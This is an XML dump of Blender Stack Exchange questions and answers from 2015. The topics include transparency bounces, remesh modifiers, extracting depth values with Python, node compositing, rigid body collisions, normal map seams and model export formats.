  <row Id="38113" PostTypeId="2" ParentId="38111" CreationDate="2015-09-06T11:05:08.420" Score="8" Body="&lt;h2&gt;Multiple transparent planes with low Max Transparecy Bounces&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &quot;Tree1&quot; object is made by multiple overlapping planes. Their shading properties comes out from a sharp Mix of a Transparent shader and a Diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there are multiple intesection and your &lt;strong&gt;Max Transparency Bounces&lt;/strong&gt; is set to 8, light can't filter trough all the planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/abQiC.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/abQiC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can clearly see this by giving to the material a full Transparent shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O7gzz.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O7gzz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More Bounces leads to the expected shading behaviour:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bck3Z.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bck3Z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the shader works as expected, you'll have no issue in Mist pass calculation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lxjCr.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxjCr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Thought about Mist pass caluculation&lt;/strong&gt;. I didn't find any evidence of the following lines in documentation, so take it as my (current) opinion, and feel free to discuss about&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Light reaches the max number of bounces stadted by the Light Path settings the simulation is &quot;over&quot;. This means that the path tracer cosider the light information in the same way as the light would have reached the background. And as is considered &quot;background&quot;, its mist pass value will be the higer possible (1=fullwhite).&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-09-06T12:18:06.880" LastActivityDate="2015-09-06T12:18:06.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38114" PostTypeId="1" AcceptedAnswerId="39932" CreationDate="2015-09-06T11:39:11.980" Score="6" ViewCount="1339" Body="&lt;p&gt;I am trying to model a headphone in blender. While we create support edges at the sharp areas by adding edge loops, it creates sharp edges in some other areas of the model where i don't want sharp edges. How can i avoid such thing while modelling.Also there are some edges that need to be sharper, but i am a little confused about creating edge loops without making any triangles in mesh. I know we can use edge split and other things like bevel edges, but not sure what to use in which situations. Screenshots attached for your reference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanx&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HH7Dk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HH7Dk.png&quot; alt=&quot;wireframe&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QCGbY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCGbY.png&quot; alt=&quot;smoothed result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T6ojn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T6ojn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16669" LastActivityDate="2015-10-12T19:41:39.597" Title="adding support edges" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38115" PostTypeId="1" AcceptedAnswerId="38116" CreationDate="2015-09-06T11:55:44.013" Score="0" ViewCount="325" Body="&lt;p&gt;In a previous, excellent &lt;a href=&quot;https://blender.stackexchange.com/a/38104/5334&quot;&gt;answer&lt;/a&gt; it was proposed that it might be helpful to subdivide some triangles in my mesh at certain times during the animation to prevent them from overlapping adjacent faces when the mesh is very highly distorted. It's best to look at the &lt;a href=&quot;https://blender.stackexchange.com/q/38057/5334&quot;&gt;question&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/a/38104/5334&quot;&gt;answer&lt;/a&gt; there now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK you're back. The trajectory of the ~10,000 vertices of the original icosphere mesh are pre-calculated and stored in a NumPy array. A &quot;badness&quot; detector could search for highly stretched edges, but then what? If it inserted real vertices, I think it might be tricky to try to remove them later, and keep the rest lined up with NumPy. I could try to figure out a way to script that, but I wonder if there might be other ways, or possibly something existing in Blender already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am re-linking @TLousky 's image here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FvCFs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FvCFs.jpg&quot; alt=&quot;https://blender.stackexchange.com/a/38104/5334&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-09-06T15:38:43.413" Title="some kind of dynamic and localized subdivision surface modifier - type algorithm?" Tags="&lt;mesh&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38116" PostTypeId="2" ParentId="38115" CreationDate="2015-09-06T12:15:44.600" Score="2" Body="&lt;p&gt;Well, as I originally suggested in the previous question, you can always try using the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Remesh modifier&lt;/a&gt;.&#xA;It dynamically generates a clean mesh with ~equal size quads out of the volume of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend using the smooth mode and an octtree depth of 7 or more to get accurate reconstruction of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADDED: It also helps to add a smooth modifier on top of the remesh modifier, because the mesh generated by the remesh modifier is still a but funky due to the issues with the original mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R20m7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R20m7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a code snippet you can add to your script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myObject.select = True # Replace myObject with a reference to your actual mesh object&#xA;bpy.context.scene.objects.active = myObject&#xA;&#xA;bpy.ops.object.modifier_add( type = 'REMESH' )&#xA;m = bpy.context.object.modifiers['Remesh']&#xA;m.mode         = 'SMOOTH'&#xA;m.octree_depth = 7&#xA;&#xA;bpy.ops.object.modifier_add( type = 'SMOOTH' )&#xA;m = bpy.context.object.modifiers['Smooth']&#xA;m.iterations = 26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not exactly what you asked for, but might do the job nontheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADDED: You only need to add this modifier once, of course (it will adapt to changes in your mesh), but it will slow down your script considerably, since the remesh modifier takes quite a bit of time to calculate, especially in the higher octtree_depth levels.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-09-06T15:38:43.413" LastActivityDate="2015-09-06T15:38:43.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38117" PostTypeId="1" AcceptedAnswerId="38122" CreationDate="2015-09-06T12:38:51.913" Score="2" ViewCount="1307" Body="&lt;p&gt;&lt;br&gt;I am totally new in the 3D-world, But I am really interested in having the depth values of the scene &lt;br&gt;(in the raw floating point numbers format),&#xA;&lt;br&gt;Unfortunately, I could not find an associated question (and also its answers) in the whole &lt;b&gt;Blender beta&lt;/b&gt; society about that,&#xA;&lt;br&gt;Any possible help is highly appreciated in advance, Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="16687" LastActivityDate="2015-09-06T15:45:51.360" Title="What is the simplest way of extracting the depth values of the scene?" Tags="&lt;blender-internal-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38118" PostTypeId="2" ParentId="38112" CreationDate="2015-09-06T13:14:36.097" Score="11" Body="&lt;h3&gt;Understanding of nodes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Nodes are a visual expression of mathematical operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept of nodes should help users to solve complex tasks by providing &quot;packs&quot; that transform inputs into outputs. In general, complex operations are splitted up into basic nodes to give the &lt;strong&gt;most possible freedom to the user&lt;/strong&gt;. It's a kind of interface, which is flexible to work with and combines the best of both worlds (programming and use).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just a &lt;a href=&quot;https://en.wikipedia.org/wiki/Visual_programming_language&quot; rel=&quot;nofollow noreferrer&quot;&gt;visual programming language&lt;/a&gt;, so in Blender it's useful for complex purposes like:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Built-in&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Creating shaders for objects, world and line styles (Freestyle)&lt;/li&gt;&#xA;&lt;li&gt;Textures&lt;/li&gt;&#xA;&lt;li&gt;Image Compositing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Add-ons&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;But the range of operations they are capable to do is it is not limited to the &lt;strong&gt;built-in nodetree types&lt;/strong&gt;. There are add-ons that integrate other functions like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Solid_modeling#Parametric_modeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;Parametric Modeling&lt;/a&gt; via &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sverchok&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6WWmy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6WWmy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where you can use nodes to operate with vertex/edge/faces and also manage data lists (that gives you access ...to &lt;strong&gt;everything!&lt;/strong&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Node based animation via &lt;a href=&quot;https://github.com/JacquesLucke/animation_nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Animation Nodes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kg5U4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kg5U4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;Image from &lt;a href=&quot;http://www.blendernation.com/2015/03/17/review-animation-nodes-addon/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendernation.com/2015/03/17/review-animation-nodes-addon/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Node-based compositing&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You are referring to &lt;a href=&quot;https://www.blender.org/manual/composite_nodes/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Composite Node tree&lt;/a&gt; type in your question. From &lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_compositing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Node-based compositing represents an entire composite as a tree graph, linking media objects and effects in a procedural map, intuitively laying out the progression from source input to final output, and is in fact the way all compositing applications internally handle composites.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Between the &lt;em&gt;starting inputs&lt;/em&gt; (usually &lt;a href=&quot;https://www.blender.org/manual/render/post_process/layers.html?highlight=render%20layers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Render layers&lt;/a&gt;) and the &lt;em&gt;final output&lt;/em&gt; image you can add nodes to: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tweak the brightness, &lt;/li&gt;&#xA;&lt;li&gt;Overlay images with alpha, &lt;/li&gt;&#xA;&lt;li&gt;Separate rgb channels, &lt;/li&gt;&#xA;&lt;li&gt;apply filters, &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;etc.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Well, the list can be long and there are dozen of nodes, which can combined in infinite number of ways. The main advantage of image compositing in Blender is that it will &lt;strong&gt;automatically run through the node's operations after rendering the 3d image&lt;/strong&gt;, so you'll not have to re-tweak the image manually &lt;em&gt;(as Photoshop's Adjustment levels, they are operation done &quot;after&quot; the base image, in a non destructive way).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="47" LastEditDate="2015-12-17T14:18:05.317" LastActivityDate="2015-12-17T14:18:05.317" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="38119" PostTypeId="1" CreationDate="2015-09-06T13:30:14.777" Score="1" ViewCount="1220" Body="&lt;p&gt;I'm trying to get a ball to land into a bowl but instead it just kinda balances on to like if there's some kind of invisible plane on to of the ball. My best guess would be hitboxes. Does anyone know how to fix this?&lt;a href=&quot;https://i.stack.imgur.com/u10V5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u10V5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/MRwaq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MRwaq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17942" LastEditorUserId="15140" LastEditDate="2015-09-06T13:47:07.887" LastActivityDate="2015-09-06T17:37:53.967" Title="Rigid body hitboxes" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38120" PostTypeId="2" ParentId="38119" CreationDate="2015-09-06T13:48:39.830" Score="2" Body="&lt;p&gt;Make the rigid body collisions shape of your bowl, &lt;strong&gt;mesh&lt;/strong&gt; rather than &lt;strong&gt;convex hull&lt;/strong&gt;. A convex hull will not include concavities, eg the inside of your bowl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in edit mode hit space and look for recalculate normals. If your normals are funky, the hitbox will be too.&lt;/p&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="15637" LastEditDate="2015-09-06T17:37:53.967" LastActivityDate="2015-09-06T17:37:53.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38121" PostTypeId="1" CreationDate="2015-09-06T14:45:31.647" Score="4" ViewCount="739" Body="&lt;p&gt;I am making a &lt;strong&gt;game asset&lt;/strong&gt;, so first I made a high poly model and then Decimated the duplicate using the &lt;em&gt;Decimate&lt;/em&gt; modifier. Then I baked the &lt;strong&gt;Normals&lt;/strong&gt; of the High Poly model on to the Low Poly model and gave the generated normal map to the Low Poly model. Worked pretty decent ignoring the fact that there were seams all over the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yW9nG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yW9nG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Toi3b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Toi3b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/v6Uwn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v6Uwn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;p.s. don't mind the different colours that just texture&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Edit mode below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WIaZq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WIaZq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Also incase some of you might be concerned, converting Tris to Quads did &lt;strong&gt;not&lt;/strong&gt; help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know should I Unwrap the mesh again or add more geometry, but it is already 7000 Faces, its already a lot for a game asset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The Alpha was checked all along, but the problems still seams to appear.I tried unchecking and checking Alpha, but nothing changes. Also I've noticed that the seams are mostly on the places where my edges in edit mode are, I dont know what that could mean, maybe the Normals map is not strong enough though it is on MAX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uvxfF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uvxfF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="3078" LastEditDate="2015-12-07T00:01:56.320" LastActivityDate="2015-12-07T00:01:56.320" Title="Why are there seams all over the mesh when a Normal Map is applied?" Tags="&lt;mesh&gt;&lt;texture-baking&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38122" PostTypeId="2" ParentId="38117" CreationDate="2015-09-06T14:49:49.733" Score="5" Body="&lt;p&gt;I'm not sure I understood the request.&#xA;In case you intend to as depth values: values of the z-buffer of the camera&#xA;then the answer is easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you have to use this simple code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#first import the libraries&#xA;import bpy&#xA;from bpy_extras.object_utils import world_to_camera_view&#xA;&#xA;context = bpy.context&#xA;scene = bpy.context.scene   &#xA;&#xA;#create the def for take the z-buffer&#xA;def checkCameraView(cam, obj):&#xA;    for v in obj.data.vertices:&#xA;        x, y, z = world_to_camera_view(context.scene, cam, obj.matrix_world * v.co)&#xA;        print(z)&#xA;&#xA;#select the camera&#xA;cam = scene.camera&#xA;#check every mesh type objects in the scene&#xA;for obj in scene.objects:&#xA;    if obj.type == 'MESH' :&#xA;        checkCameraView(cam, obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;z is the depth of the vertex&#xA;x and y are the coordinates on the Cartesian coordinate plane (2D) of the chamber&#xA;x = horizontal&#xA;y = vertical&lt;/p&gt;&#xA;&#xA;&lt;p&gt;api link: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy_extras.object_utils.html?highlight=world_to_camera_view#bpy_extras.object_utils.world_to_camera_view&quot; rel=&quot;nofollow&quot;&gt;world_to_camera_view&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the question?&lt;/p&gt;&#xA;" OwnerUserId="15519" LastEditorUserId="15519" LastEditDate="2015-09-06T15:45:51.360" LastActivityDate="2015-09-06T15:45:51.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38123" PostTypeId="2" ParentId="38117" CreationDate="2015-09-06T14:50:35.980" Score="2" Body="&lt;p&gt;Your talking about the Z pass. It's activated by default but shows only white because the values are greater than 1 (0 is black, 1 is white, more than 1 is white). There's nothing to see unless you use a normalize node to make the values 0 to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KxiLj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KxiLj.png&quot; alt=&quot;Z-Pass&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-09-06T14:50:35.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38124" PostTypeId="1" CreationDate="2015-09-06T14:58:23.063" Score="1" ViewCount="952" Body="&lt;p&gt;Im new to blender itself so I was wondering if anyone knew anywhere good to learn how to use it, Im fairly quick on the pickup with a good guide on hand.&#xA;Anyway Ive been looking all over the internet and can't find anything to help in regards with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im looking for a good way to create from scratch multiple different building structures that can be exported for later use into my gaming enviroment in Unity.&#xA;I have no issue building them one by one over time. So if there's something that'll help me render them before moving onto intricate inside details, awesome! (I came to Blender because it seems to be the most commonly noted one for this task, but can't find any guides to do this) &#xA;Anyway any help on getting started and working through all this would be massively appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="17943" LastActivityDate="2015-09-06T15:49:34.360" Title="Creating enterable buildings" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38126" PostTypeId="2" ParentId="38124" CreationDate="2015-09-06T15:49:34.360" Score="2" Body="&lt;p&gt;Best begginers tutorials i know are at &lt;a href=&quot;http://gryllus.net/Blender/3D.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;gryllus.net&lt;/a&gt; after finishing all tutorials in there you can just pick some from &lt;a href=&quot;http://www.blender.org/support/tutorials/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender tutorials&lt;/a&gt;. As for enter-able buildings: just move pivot point to the edge of door so you can rotate around it, and animate it so it will look like door opening.&#xA;Example:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IwboK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IwboK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2015-09-06T15:49:34.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38127" PostTypeId="2" ParentId="4965" CreationDate="2015-09-06T16:19:04.767" Score="0" Body="&lt;h2&gt;Short Answer&lt;/h2&gt;&#xA;&lt;p&gt;Yes. Just transform all objects by the inverse rotation. Rotating the global frame by 45 degrees clockwise around Z amounts to rotating all objects's local axes by -45 degrees around the global Z direction. The latter is easy to do by GUI.&lt;/p&gt;&#xA;&lt;h2&gt;Explanation&lt;/h2&gt;&#xA;&lt;p&gt;When you rotate the global axes, Blender will always represent everything &lt;em&gt;relative&lt;/em&gt; to the &lt;em&gt;new&lt;/em&gt;, rotated ones. So the objects will appear to be rotating and the global axes fixed.&lt;/p&gt;&#xA;&lt;p&gt;I can see this as useful in case you need your objects all to align to a more convenient direction for manipulation.&lt;/p&gt;&#xA;&lt;h2&gt;Illustration&lt;/h2&gt;&#xA;&lt;p&gt;One way to see this clearly is to explicitly represent the canonical directions (1,0,0), (0,1,0) and (0,0,1) of the original global axes as detailed below. That way you can see the old axes rotated -45 degrees &lt;em&gt;from the new ones&lt;/em&gt;, which is the same as the &lt;em&gt;new&lt;/em&gt; axes rotated +45 degrees &lt;em&gt;from the original ones&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Step-by-step Example&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new document with the default cube, light and camera objects. Notice how the cube's &lt;em&gt;local&lt;/em&gt; coordinates are aligned to the global ones; they will allow us to see these initial unrotated global coordinates later.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note: The cube's local axes representing the original global axes can be accessed by selecting the local transform orientation (as in this figure from the other post)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cdpi8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cdpi8.png&quot; alt=&quot;the cube's local axes representing the initial global axes can be accessed by selecting the local transform orientation (as in this figure from the other post)&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Transform all objects by -45 degrees. One way to do this is to create a new  empty aligned to the global axes, parent all objects to the empty and rotate the empty -45 degrees around Z.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Notice that the new, rotated global coordinates are +45 degrees rotated &lt;em&gt;from&lt;/em&gt; the original global coordinates (represented by the cube's &lt;em&gt;local&lt;/em&gt; coordinate frame).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OoZTU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OoZTU.png&quot; alt=&quot;how to visualize rotated global axes before and after rotation&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16590" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-06T16:19:04.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38128" PostTypeId="1" CreationDate="2015-09-06T16:29:33.100" Score="3" ViewCount="2189" Body="&lt;p&gt;I am modeling pencil sharpeners. I unwrapped UVs and created a steel texture and a bump map and put it together in Cycles (see attached image). Now I need to export my models as &lt;code&gt;.FBX&lt;/code&gt;, &lt;code&gt;.OBJ&lt;/code&gt;, &lt;code&gt;.DAE&lt;/code&gt; and maybe &lt;code&gt;.3DS&lt;/code&gt;, because I want to publish it online for sale, and I want the model to be available in wide array of file formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I import the exported files back to Blender, I see that in every case the Compositing of the Cycles materials and links to the texture files are lost, and only UVs are preserved. The renderer defaults to BI. In 3DS I lose parenting and in OBJ and FBX there are scale issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understood from other threads that I probably have to sacrifice this information, and that there is no way to export it. Is that correct? Does that mean that the customer would have to reapply all textures and set settings ( like glossiness etc.)? That is not acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to ensure that the exported files will work straight away? How to preserve the Cycles material settings? Do I have to use Blender Internal to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZX1l7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZX1l7m.jpg&quot; alt=&quot;Blender scene&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16239" LastEditorUserId="49806" LastEditDate="2017-12-19T11:01:21.833" LastActivityDate="2018-04-02T17:55:07.067" Title="Exporting to FBX OBJ DAE 3DS" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;export&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
